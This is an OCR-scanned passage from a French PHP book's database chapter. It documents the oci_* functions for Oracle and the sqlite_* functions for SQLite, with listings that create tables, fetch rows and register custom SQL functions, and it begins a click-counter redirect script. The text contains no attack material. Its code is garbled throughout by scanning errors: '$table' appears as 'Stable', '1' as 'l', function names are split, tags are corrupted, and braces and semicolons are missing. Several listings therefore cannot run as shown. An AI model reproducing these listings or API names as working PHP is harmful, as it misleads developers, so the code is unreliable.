titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 

Ensavoirplus... 

... sur le resultat d'une requete 

II vous est ainsi possible de connaitre le nombre de champs retournes par une requete (et, par 
consequent, le nombre de champs d'une table dans le cas d'une requete select * from 
<nom_tabie> sur une table non vide). 



oci_num_fields() (ociNumCols() PHP4) 

Retourne le nombre de champs dans les enregistrements retournes par une requete SQL. 

Syntaxe int oci_num_fi elds (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour Nombre de champs. 

Mais aussi, le nom de ces champs : 



oci_field_name() (ociColumnName() PHP4) 

Retourne le nom des champs dans les enregistrements retournes par une requete SQL. 

Syntaxe string oci_fi el d_name (resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$ i ndex Index du champ dont vous souhaitez connaitre le nom. Le nombre total de 

champs peut etre obtenu en faisant appel a 
oci_num_f ields ( ) .ATTENTION : l'indexation commence a 1. 

retour Nom du champ. 

Cependant, les champs ont d'autres informations a nous livrer que leur nom. Pour cela, vous 
disposez des fonctions : 



810 



Oracle 



oci_field_type() (ociColumntype() PHP4) 



Retourne le type des champs dans les enregistrements retournes par une requete SQL. 

Syntaxe string oci_fi el d_type (resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$ i n dex Index du champ dont vous souhaitez connaitre le type. Le nombre total de 

champs peut etre obtenu en faisant appel a 
oci_num_f ields ( ) ATTENTION : l'indexation commence a 1. 

retour Type du champ, ou FALSE en cas d'erreur. 



oci_field_size() (ociColumnSize() PHP4) 
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Retourne la taille (en octets) des champs de la table 

Syntaxe 

$idRequete 
$index 



retour 



int oci_field_size(resource $idRequete, int $index) 

Identifiant de requete tel que retourne par oci_execute ( ) . 

Index du champ dont on souhaite connaitre la taille. Le nombre total de 
champs peut etre obtenu en faisant appel a oci_num_f ields () . 
ATTENTION : l'indexation commence a 1. 

Taille (en octets) occupee par le champ, ou FALSE en cas d'erreur. 



Listing 10.76 : infoOIJnc.php 

<?php 

// Fonction affi chant certaines informations liees 
// a la structure d'une table 

function describe($idConnexion, $table) 
{ 

// Preparation de la requete SELECT 

$idRequete = oci_parse($idConnexion, "SELECT * FROM Stable"); 

// Execution de la requete 
oci_execute($idRequete) ; 

// Recuperation du nombre de champs retournes 
SnbChamps = oci_num_fields($idRequete) ; 

// Pour chaque champ, recuperation des informations 

// - nom du champ 

// - type du champ 

// - taille du champ 

for ($i=l; $i<=$nbChamps; $i++) { 
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echo "<b>" .oci_field_name($idRequete, $i)."</b>"; 

echo " de type <i>".oci_field_type($idRequete, $i)."</i>"; 

echo " de longueur <i>".oci_field_size($idRequete, $i)."</ixbr />" 
} 
} 
?> 



Les numeros de version 

La fonction evoquee ici n'est pas d'une utilisation tres courante, mais pourra eventuellement 
vous servir si vous etes amene a utiliser des instructions avancees de la base de donnees Oracle 
(instructions implementees dans des versions recentes, par exemple). 



oci_server_version() (ociServerVersion() PHP4) 

Retourne le numero de version du serveur Oracle. 

Syntaxe string oci_serveur_versi on (resource $idBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

retour Numero de version du serveur. 

La chaine retournee sera de la forme : 

Oracle Database lOg Release 10.1.0.2.0 - Production 

10.12. SQLite 

A la difference des autres bases de donnees presentees, SQLite est totalement integree a PHP 5. 

Installation 

Comme SQLite est integree a PHP 5, la procedure d'installation est extremement facile vu qu'il 
n'y a rien a faire. 



Installer SQLite pour PHP 4 (ou 3) 

Sons windows, il vous suffit de recuperer le fichier php_sqlite.dll disponible sur le 
REMARQUE cgderom et de charger la librairie. 



812 



SQLite 



Utilisation 

Comme indique dans le chapitre d'introduction, l'utilisation basique de la base de donnees 
s'opere selon le schema suivant : 

Connexion grace aux fonctions sqlite_open ( ) ou sqlite_popen ( ) . 

Soumission de la requete via la fonction sqlite_query ( ), sqlite_array_query( ) ou 
sqlite_unbuf f ered_query ( ) . 

Deconnexion grace a la fonction sqiite_close ( ) . 

Connexion 

Comme pour toute base de donnees avant meme de pouvoir effectuer une requete, une 
connexion doit etre etablie avec la base de donnees. 



sqlite_open() 



Etablit une connexion (non persistante) avec le serveur de bases de donnees. La base de 
donnees est cree si elle n'existe pas deja. 

Syntaxe resource sql ite_open (string $nomFichier [, int $mode [, string 

&$messageErreur]]) 

$nomFi chi er Nom du fichier representant la base de donnees. Si le fichier n'existe pas il 

est cree (et la base de donnees associee egalement). Le chemin peut etre 
relatif ou absolu, assurer vous d'avoir l'autorisation en ecriture dans le 
repertoire ou vous voulez creer le fichier. 

$mode A ce jour cet argument est ignore, il est cense definir le mode d'acces a la 

base de donnees. La syntaxe est celle du monde Unix (cf. chmod) par 
defaut sa valeur est 0666 (lecture et ecriture pour tous), on pourrait 
autoriser la lecture seule pour tous par la valeur 0444. 

&$messageErreur Message d'erreur expliquant pourquoi la base de donnees n'a pu etre 
ouverte. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



Base de donnees en memoire 

Vous pouvez creer une base de donnees en memoire en remplacant le nom du fichier 
par -.memory: mais attention cela ne peut servir que pour une base de donnees 
temporaire vu qu'elle sera effacee des la fin du script en cours. 



REMARQUE 



L'utilisation d'une connexion persistante requiert, a la place, l'appel a la fonction 

sqlite_popen ( ) . 
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sqlite_popen() 
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Etablit une connexion persistante avec le serveur de bases de donnees. Si une connexion 
persistante est disponible, elle sera utilisee ; sinon, une nouvelle connexion persistante sera creee. 

Syntaxe resource sql ite_popen (string $nomFichier [, int $mode [, 

string &$messageErreur]] ) 

$nomFi ch i er Nom du fichier representant la base de donnees. Si le fichier n'existe pas il 

est cree (et la base de donnees associee egalement). Le chemin peut etre 
relatif ou absolu, assurer vous d'avoir l'autorisation en ecriture dans le 
repertoire ou vous voulez creer le fichier. 

$mode A ce jour cet argument est ignore, il est cense definir le mode d'acces a la 

base de donnees. La syntaxe est celle du monde Unix (cf. chmod) par 
defaut sa valeur est 0666 (lecture et ecriture pour tous), on pourrait 
autoriser la lecture seule pour tous par la valeur 0444. 

&$messageErreur Message d'erreur expliquant pourquoi la base de donnees n'a pu etre 
ouverte. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



Execution de la requete SQL 



Pour executer une requete SQL, il y a differentes methode en fonction de l'utilisation du 
resultat. Pour une requete qui retourne un nombre consequant de lignes (plus de 45), 
l'utilisation de sqlite_unbuf fered_query ( ) est conseillee et Test encore plus si Ton veut 
parcourir une a une les lignes du resultat. La fonction sqlite_query ( ) quand a elle lance une 
requete sur la base de donnees et retourne un resultat plus manipulable que 
sqiite_unbuffered_query() car 1'ensemble des lignes est mis en memoire, on peut en 
connaitre le nombre exact ou faire des marches arrieres. 



sqlite_query() 



Execute une requete SQL. Cette fonction est ideale pour faire des mises a jour de tables mais 
pour un SELECT retournant de nombreux resultats, la fonction 

sqlite_unbuf fered_query ( ) est plus appropriee. 

Syntaxe resource sql ite_query( (string $requete, resource $idConnexion) 

resource sql ite_query(resource $idConnexion, string $requete) 
$requete Requete SQL. 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 
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sqlite_unbuffered_query() 



Execute une requete SQL sans mise en memoire du resultat. Cette fonction est 
particulierement adaptees pour un parcours unique d'un ensemble de lignes. 

Syntaxe resource sql ite_unbuffered_query (string $requete, resource 

$idConnexion) 

resource sql ite_unbuffered_query (resource $idConnexion, string 
$requete) 

$requete Requete SQL. 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 

Vous serrez certainement ammenes a vouloir plus de flexibilite et pouvoir acceder a differentes 
lignes du resultat dans un ordre different de l'ordre de sortie. Pour cela vous mettrez 
probablement les donnees dans un tableau. La fonction sqlite_array_query ( ) fait 
exactement ce travail pour vous mais de facon plus rapide, elle retourne un tableau des lignes 
du resultat. Mais attention, ces operations sont extremement couteuses en memoire, il faut 
done utiliser ces methodes que tres ponctuellement pour des resultats de moins de 45 lignes 
environ. 
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sqlite_array_query() 



Execute une requete SQL et stocke le resultat dans un tableau. 

Syntaxe resource sql ite_array_query (string $requete, resource 

$idConnexion [, int $typeResul tat [, boolean $decodeBinaire]]) 

resource sql ite_array_query (resource $idConnexion, string 
$requete [, int $typeResul tat [, bool $decodeBinaire]]) 

$requete Requete SQL. 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

$typeResultat Par defaut cette valeur est mise a SQLITE_B0TH qui signifie que les 

indices du tableau seront le numero et le nom de colonne. Pour n'avoir que 
le numero de colonne il suffit de mettre SQLITE_NUM et pour le nom de 
colonne, SQLITE_ASSOC. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 
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Chapitre 10 L'utilisation des bases de donnees 



Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 



Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction sqiite_close ( ) . 



sqlite_close 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe void sql 1 ite_close (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . Si la connexion etait 
persistante, elle est fermee et retiree de la liste des connexions 
persistantes. 

Lecture des enregistrements 

Dans ce premier exemple nous allons juste nous connecter a la base de donnees, creer une 
table, y inserer une donnee et la retrouver par trois requetes SQL successives. 

Nous avons vu les fonctions d'ouverture, de fermeture et de requete, voyons une fonction qui 
nous manque pour le cours exemple qui suit. 



sqlite_fetch_array() 



Retourne la ligne courante du resultat d'une requete sous la forme d'un tableau, le curseur 
passe a la ligne suivante une fois la fonction terminee. Les elements pourront etre recuperes 
soit par leur indice de colonne, soit par le nom de colonne. 

Syntaxe array sql ite_fetch_array (resource $idRequete [, int 

$typeResul tat [, booleanl $decodeBinaire]]) 

$i dRequete Identifiant de la requete. 

$typeResultat Par defaut cette valeur est mise a SQLITE_B0TH qui signifie que les 

indices du tableau seront le numero et le nom de colonne. Pour n'avoir que 
le numero de colonne il suffit de mettre SQLITE_NUM et pour le nom de 
colonne, SQLITE_ASS0C. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour Un tableau representant la ligne suivante du resultat en cours de lecture. 
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Listing 10.77 : sqliteopen.php 

<?php 

// Ouverture et creation de la base de donnees maBaseDeDonnees 

$bd = sqlite_open( 'maBaseDeDonnees' , 0666, $sql iteerror) or die($sqliteerror) ; 

// Creation de la table maTable caracterisee par deux colonnes, maColonnel 

x d'entier 

// et maColonne2 de chaines d'au plus 25 caracteres 

sqlite_query($bd, 'CREATE TABLE maTable (maColonnel int, maColonne2 

x varchar(16)) '); 

// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES (12, 'toto')"); 

// Recherche des donnees 

$result = sqlite_query($bd, 'select * from maTable'); 

// Recuperation de la premiere ligne de resultat 

$1 igne = sqlite_fetch_array($resul t) ; 

// Affichage de la ligne par les indices de colonnes 

echo($ligne[0] .":".$ligne[l] ."<br />\n"); 

// Affichage de la ligne par les noms de colonnes 

echo ($1 igne ['maColonnel '] . ":".$1 igne['maColonne2'] ."<br />\n") ; 

sqlite_close($bd) ; 
?> 

La fonction sqlite_current ( ) tres similaire a sqlite_fetch_array ( ) permet de mettre 
une ligne dans un tableau sans passer a la ligne suivante. Cette fonction ne fonctionnera pas si 

VOUS avez Utilise sqlite_unbuf fered_query ( ) . 
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sqlite_current() 



Retourne la ligne courante du resultat d'une requete sous la forme d'un tableau sans deplacer 
le curseur. Les elements pourront etre recuperet soit par leur indice de colonne, soit par le nom 
de colonne. 

Syntaxe array sqlite_current(resource $idRequete [, int $typeResul tat 

[, boolean $decodeBinaire]]) 

$i dRequete Identifiant de la requete. 

$typeResultat Par defaut cette valeur est mise a SQLITE_B0TH qui signifie que les 

indices du tableau seront le numero et le nom de colonne. Pour n'avoir que 
le numero de colonne il suffit de mettre SQLITE_NUM et pour le nom de 
colonne, SQLITE_ASS0C. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour Un tableau representant la ligne suivante du resultat en cours de lecture. 

Pour ne pas avoir creer un tableau lorsque Ton veux recuperer qu'un seul champ d'une table 
(par exemple l'identifiant lors d'une requete du type ' select id from maTable ' , la fonction 
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Chapitre 10 L'utilisation des bases de donnees 



sql ite_fetch_single() ou sql ite_fetch_string() qui est un alias, permet de recuperer 
directement le premier champ et de passer a la ligne suivante. 



sqlite_fetch_single() , sqlite_fetch_string() 

Permet de recuperer directement la valeur du premier champ d'un resultat. 

Syntaxe string sql ite_fetch_single (resource $idRequete [, boolean 

$decodeBinaire]] ) 

$i dRequete Identifiant de la requete. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour La valeur du premier champ de la ligne en cours. 

Listing 10.78 : sqlitefetchsingle.php 

<?php 

// Ouverture et creation de la base de donnees test 

$bd = sql ite_open( 'test ' , 0666, $sql iteerror) or die($sql iteerror) ; 

// Creation de la table maTable 

sqlite_query($bd, 'CREATE TABLE maTable 

(maColonnel varchar(25), maColonne2 varchar(16)) ') ; 

// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent', 'Guedon')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel', 'Muller')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 

// Recherche des donnees 

$result = sql ite_unbuffered_query($bd, 'select * from maTable'); 

echo sqlite_fetch_single($result, SQLITE_NUM); 

echo sqlite_fetch_single($result, SQLITE_NUM); 

echo sql ite_fetch_single($resul t) ; 

echo sql ite_fetch_single($resul t) ; 

sqlite_close($bd) ; 
?> 

Le resultat attendu est le suivant : (au formattage de texte pres) 

Laurent 

Pierre- Emmanuel 
Damien 
Thomas 

Si une ligne possede de nombreuses colonnes ou est particulierement volumineuse (avec des 
champs binaires par exemple) il est avantageux de ne pas charger toute la ligne mais seulement 
la colonne interesssante. 



818 



SQLite 



sqlite_column() 

Retourne le contenu de la colonne de la ligne courante. 



Syntaxe mixed sql ite_column (resource $idRequete, mixed $indiceOuNom [, 

boolean $decodeBinaire] ) 

$idRequete Identifiant de requete. 

$i ndi ceOuNom Numero de colonne ou son nom. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour Le contenu de la colonne demandee. 

Pour parcourir un ensemble de resultats, la fonction sqlite_has_more ( ) permet de savoir s'il 
reste des lignes en attente d'etre traitees. 



sqlite_has_more() 

Cette fonction permet lors du parcours d'un reultat a savoir si il reste des lignes a parcourir. 

Syntaxe boolean sql ite_has_more(resource $idRequete) 

$i dRequete Identifiant de requete. 

retour TRUE si il reste des lignes a analyser. 

Listing 10.79 : sqlite_unbuffered_query.php 

<?php 
// Ouverture et creation de la base de donnees test 
$bd = sql ite_open( 'test' , 0666, $sqliteerror) or die($sql iteerror) ; 
// Creation de la table maTable 
sqlite_query($bd, 'CREATE TABLE maTable 

(maColonnel varchar(25), maColonne2 varchar(16)) ') ; 
// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent 1 , 'Guedon')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel', 'Muller')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 
// Recherche des donnees 

$result = sqlite_unbuffered_query($bd, 'select * from maTable'); 
// Recuperation une a une des lignes de resultat 
while (sqlite_has_more($result)) { 

$1 igne = sql ite_fetch_array($result, SQLITE_NUM); 

echo($ligne[0]." ".$ligne[l] ."<br />\n"); 

} 

sqlite_close($bd) ; 
?> 
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Chapitre 10 L'utilisation des bases de donnees 



Deplacement du curseur 

Le parcours d'une table s'effectue avec un curseur. La plupart des fonctions de lecture de lignes 
deplacent le curseur a la ligne suivante. II peut-etre interessant de deplacer le curseur de 
maniere plus controlee. 

Pour deplacer le curseur sur la ligne suivante, il suffit de faire appel a sqlite_next ( ) . 



sqlite_next() 



Cette fonction permet de deplacer le curseur a la ligne suivante. Elle ne fonctionnera pas si 
vous avez utilise sqlite_unbuffered_query(). 

Syntaxe boolean sql ite_next (resource $idRequete) 

$i dRequete Identifiant de requete. 

retour TRUE si il y avait une ligne suivante, FALSE si c'etait la derniere ligne. 



sqlite_rewind() 



Cette fonction permet de rammener le curseur a la premiere ligne. Elle ne fonctionnera pas si 

VOUS avez utilise sqlite_unbuf fered_query (). 

Syntaxe boolean sql ite_rewind (resource $i dRequete) 

$i dRequete Identifiant de requete. 

retour FALSE si le resultat de la requete est vide. 



sqlite_seek() 



Cette fonction permet d'ammener le curseur a la ligne voulue. Elle ne fonctionnera pas si vous 

avez Utilise sqlite_unbuf fered_query ( ) . 

Syntaxe boolean sqlite_seek(resource $idRequete, int $numeroLigne) 

$i dRequete Identifiant de requete. 

$numeroLigne Numero de la ligne ou ammener le curseur. 

retour FALSE si la ligne n'existe pas, TRUE sinon. 

Gestion des erreurs 

Lors de l'ouverture d'une base de donnees l'eventuel message d'erreur peut-etre recupere en 
passant une chaine de caractere par reference. Deux autres fonctions servent a la gestion des 
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erreurs, la premiere permet de recuperer le code d'erreur de la derniere operation effectuee 
sur une connexion. 



sqlite_last_error() 



Retourne le code d'erreur de la derniere operation effectuee sur une connexion donnee. (0 si 
il n'y a pas eu d'erreur) 

Syntaxe resource sql ite_last_error (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Code d'erreur. 

A partir de ce code, il est possible d'avoir une explication textuelle grace a sqlite_error_string(). 



sqlite_error_string () 

Retourne le message d'erreur correspondant au code fourni. 

Syntaxe string sqlite_error_string(int $codeErreur) 

$codeErreur Code d'erreur tel que retourne par sqlite_last_error ( ) . 

retour Message d'erreur. 

Appliquer une fonction automatiquement 

Particularity de SQLite, il est possible d'appliquer une fonction PHP sur le resultat au niveau de 
la requete. Avant meme de voir la description de sqlite_create_f unction ( ) , void un petit 
exemple l'utilisant. 

Le programme suivant ouvre une connexion avec une base de donnees en memoire, cree une 
table et y insere des donnees. Ensuite y est defini la fonction nomComplet() qui concatene deux 
parametres separe d'un espace. L'appel a sqlite_create_function ( ) permet de declarer a 
SQLite une fonction nom() liee a nomComplet() et qui prend deux arguments en parametre. 
La requete est particuliere, on applique la fonction nom() sur les deux colonnes ce qui a pour 
consequence de n'avoir plus qu'une colonne resultat et ainsi il suffit de faire appel a 
sqlite_fetch_singie ( ) pour recuperer le resultat voulu. 

Listing 10.80 : sqlite_create_function.php 

<?php 
// Ouverture et creation de la base de donnees 

$bd = sqlite_open( ' :memory: ' , 0666, $sql iteerror) or die($sqliteerror) ; 
// Creation de la table maTable 
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Chapitre 10 L'utilisation des bases de donnees 



sqlite_query($bd, 'CREATE TABLE maTable 

(maColonnel varchar(25), maColonne2 varchar(16)) ') ; 

// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent 1 , 'Guedon')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel', 'Muller')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 

// Fonction de creation du nom complet 
function nomComplet($prenom, $nom) { 

return $prenom." ".$nom; 
} 

// Declaration a SQLite de la fonction nomComplet 
sqlite_create_function($bd, 'nom', 'nomComplet', 2); 

// Recherche des donnees en appli quant la fonction 'nom' 

$result = sql ite_unbuffered_query($bd, 'select nom(maColonnel, maColonne2) from 

s< maTable'); 

// Recuperation une a une des lignes de resultat 
while (sqlite_has_more($result)) { 

echo sqlite_fetch_single($result, SQLITE_NUM) . "<br />\n"; 

} 

sqlite_close($bd) ; 
?> 

Le resultat attendu est le suivant : 

Laurent Guedon 
Pierre- Emmanuel Muller 
Damien Heute 
Thomas Heute 



sqlite_create_function () 

Permet de declarer une fonction appelee directement dans la requete SQL. 

Syntaxe void sql ite_create_function(resource $idConnexion, string 

$nomFonction, string mixed $fonction [, int $nombreArguments]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

$nomFonct i on Nom de la fonction a laquelle on veut associer la fonction PHP. 

$foncti on Nom de la fonction que vous avez defini precedement. 

$nombreArguments Nombre d'arguments que prend la fonction. 
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En plus de traiter les lignes, il est possible de definir une fonction qui aura pour objectif de 
traiter l'ensemble des lignes. 



sqlite_create_aggregate () 

Permet de declarer une fonction traitant l'ensemble des lignes du resultat. 

Syntaxe void sql ite_create_aggregate (resource $idConnexion, string 

$nomFonction, string mixed $fonction, mixed $fonctionFinale [, 
int $nombreArguments]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

$nomFonct i on Nom de la fonction a laquelle on veut associer la fonction PHP. 

$foncti on Nom de la fonction que vous avez defini precedement. 

$foncti onFimal e Nom de la fonction par laquelle passer l'ensemble du reultat. 

$nombreArguments Nombre d'arguments que prend la fonction. 

Voici un exemple qui ne sert a rien d'autre que de mieux comprendre : 

Listing 10.81 : sqlitecreateaggregate.php 

<?php 
// Ouverture et creation de la base de donnees test 
$bd = sqlite_open( ' :memory: ' , 0666, $sql iteerror) or die($sqliteerror) ; 
// Creation de la table maTable 
sqlite_query($bd, 'CREATE TABLE maTable 

(maColonnel varchar(25), maColonne2 varchar(16)) ') ; 



// Fonction de creation du nom complet 
function nomComplet(&$cumul , $prenom, $nom) 
$cumul [] = $prenom." ".$nom; 



function cumulNom(&$cumul) { 

return $cumul [0] . ":".$cumul [1] . ": ".$cumul [2] ." : ".$cumul [3] ; 
} 



// Declaration a SQLite de la fonction nomComplet 
sqlite_create_aggregate($bd, 'nom', 'nomComplet', 'cumulNom', 2); 

// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent', 'Guedon')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel', 'Muller')"): 
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Chapitre 10 L'utilisation des bases de donnees 



sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 

// Recherche des donnees en appliquant la fonction 'nom' 

$result = sql ite_unbuffered_query($bd, 'select nom(maColonnel, maColonne2) from 

s-= maTable'); 

echo sqlite_fetch_single($result, SQLITE_NUM) . "<br />\n"; 
sqlite_close($bd); 
?> 

Le resultat obtenu est le suivant : 

Laurent Guedon: Pierre-Emmanuel Muller:Damien Heute:Thomas Heute 

Quelques explications peuvent etre utiles. Chacune des entrees est soumise a la fonction 
nomComplet ( ) en plus d'une reference vers une variable ($cumul dans l'exemple). Cette 
derniere permet de garder un pointeur vers un objet (ici un simple tableau). A la fin du 
traitement de chacune des lignes ce meme pointeur est fourni a la fonction cumulNom ( ) qui est 
chargee d'effectuer les dernieres operations sur l'objet. Bien sur dans l'exemple on aurait pu 
faire bien plus simple, mais 5a n'aurait pas ete drole... 

Exemples (['applications 
Compteur de dies 

Une application courante d'utilisation des bases de donnees, et simple a mettre en oeuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker en base de donnees l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien vers 
un script charge d'incrementer le compteur correspondant au site indique, et de rediriger le 
client vers le site grace a la fonction header ( ) . 



> Vous pouvez vous reporter a ['annexe "Les en-tetes" pour plus de renseignements sur 

la redirection. 
RENVOI 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

urlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 
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nbclic, le nombre de clics. 

Le script de redirection (appele ici compteurclic_redirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhostycompteurclic_redirection.php?urlid=3 
(pour acceder a l'TJRL ayant l'identifiant 3). A supposer que l'TJRL 3 corresponde au site 

http://WWW.Sqlfacile.COm cela signifie que le lien <a href="http: //www. sqlfacile.com "> 
devra etre remplace par <a href="compteurclic_redirection.php?urlid=3> si Ton sou- 

haite en compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initialiseBD ( ) 
du script suivant : 

Listing 10.82 : compteurclic_bd_inc.php (debut) 

<?php 

/** 

* Fonction de connexion a une base de donnees 
* 

* @return resource Identifiant de connexion 

7 

function CC_connexion() 

{ 

$idConnexion = sqlite_open('BaseDeDonneesCompteurCl ics 1 , 0666, 

S"= $sqliteerror) ; 

if (!$idConnexion) return FALSE; 

return $idConnexion; 



l-k-k 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

V 

function CC_deconnexion() 
{ 

return TRUE; 

} 

l-k-k 

* Fonction charge de creer et d'alimenter 

* la table "compteur de clics" 

** / 

function CC_initialiseBD($idConnexion, Stable) 
{ 

// Creation de la table 

$requete = "DROP TABLE Stable"; 

@sql ite_query($idConnexion, $requete) ; 

$requete = "CREATE TABLE Stable (". 
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"url Id INTEGER ". 

"AUTO_INCREMENT PRIMARY KEY,", 
"url VARCHAR(128) NOT NULL,", 
"nbclic INTEGER DEFAULT 0,". 
"UNIQUE(url))"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

// Alimentation de la table 

$requete = "INSERT INTO Stable (url)". 

" VALUES ('http://www.php. net')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.phpfacile.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.sqlfacile.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.xmlfacile.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

return TRUE; 



?> 



La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 

CC_recupereLiens ( ) du script Suivant : 

Listing 10.83 : compteurclicbdincphp (milieu) 

<?php 

/** 

* Fonction retournant les informations de liens 

* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

** / 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurclic_redirection.php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 
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$idResultat = sql ite_query($idConnexion, $requete) ; 

// Recuperation des enregistrements les uns apres les autres 
while ($enreg = sqlite_fetch_array($idResultat)) { 
$liens["lien"] [] = "<a href=\"$script?urlid=". 
$enreg["url Id"] ."\">". 
$enreg["url "] . "</a>"; 
$liens["nbclic"] [] = $enreg["nbcl ic"] ; 
} 

return $liens; 
} 

L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclicjitmljnc.php). 

Comme cela a ete precise, le lien <a href="http: //www.sqifacile.com">http: //www 
. sqlfacile. com</a> a ete remplace par <a href="compteurclic_redirection 
.php?urlid=3">http: / /www. sqlfacile . com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 

Listing 10.84 : compteurclic_redirection.php 

<?php 

// Parametres du script 

requi re_once ( "compteurcl i c_bd_i nc . php" ) ; 

Stable = "compteurclic"; 

// Connexion a la base de donnees 
SidConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 



// Recuperation de l'url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC_recupereUrl (SidConnexion, $_GET["urlid"]) ; 

// Deconnexion 
@CC_deconnexion() ; 

// C'est l'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { 

echo "Desole, nous ne pouvons vous proposer ce lien"; 
}?> 

Ce script appelle principalement la fonction cc_recupereUrl ( ) suivante : 
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Listing 10.85 : compteurclic_bd_inc.php (fin) 

<?php 

/** 

* Fonction recuperant une url a parti r de son identifiant 

* et incrementant le compteur de dies 
** / 

